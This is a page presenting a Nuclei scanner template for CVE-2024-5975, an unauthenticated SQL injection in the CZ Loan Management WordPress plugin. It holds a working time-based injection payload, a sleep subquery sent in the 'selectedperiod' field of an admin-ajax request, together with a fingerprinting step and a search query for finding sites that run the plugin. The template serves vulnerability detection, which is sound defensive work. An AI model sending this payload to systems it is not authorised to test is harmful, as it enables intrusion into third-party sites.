CZ Loan Management <= 1.1 - SQL Injection

ID: CVE-2024-5975

Severity: critical

Author: s4e-io

Tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management

Description

The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

YAML Source

id: CVE-2024-5975

info:
  name: CZ Loan Management <= 1.1 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5975
    - https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
    - https://vuldb.com/?id.272929
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-5975
    epss-score: 0.00043
    epss-percentile: 0.09404
  metadata:
    vendor: team-contriverz
    product: cz-loan-management
    framework: wordpress
    publicwww-query: "/wp-content/plugins/cz-loan-management"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"CZ Loan Management")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains(content_type,"text/html")'
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502203166cb2f7ac4f3e2931361de19d70427776aa13799992c6389597f169f0f0e41022100975336411304f055128ef0e2fefc38f4a0da888fc63a8df0218844ef02a3b9a2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5975.yaml"

View on Github